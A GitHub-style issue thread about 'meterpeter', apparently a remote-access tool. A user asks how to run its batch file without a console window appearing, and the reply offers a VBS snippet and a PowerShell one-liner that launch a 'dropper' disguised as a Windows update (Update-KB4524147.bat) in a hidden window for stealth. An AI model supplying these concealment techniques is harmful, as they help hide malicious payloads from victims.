meterpeter
meterpeter copied to clipboard
Show CMD popup when running bat file.
Hi. When i want to run .bat file, it shows cmd window that is displayed for at least 3-5 seconds. After that, the window has been closed automatically. I really do not want any page or popup to be displayed. One of these popups attached and you can see it. Please guide me how to run the bat file fully silently without any popup or window openings. Thanks.
If you want stealth ...
Then use a VBS script insted of BATCH scripts as dropper ..
The follow demo box (vbs script) executes Update-KB4524147.bat
in a hidden teminal prompt..
Set objShell = WScript.CreateObject("WScript.Shell")
objShell.Run "cmd /c start %TMP%\Update-KB4524147.bat", 0, True
Or this powershell cmdline can also execute Update-KB4524147.bat
in a hidden teminal prompt..
powershell -WindowStyle Hidden Start-Process -FilePath $env:TMP\Update-KB4524147.bat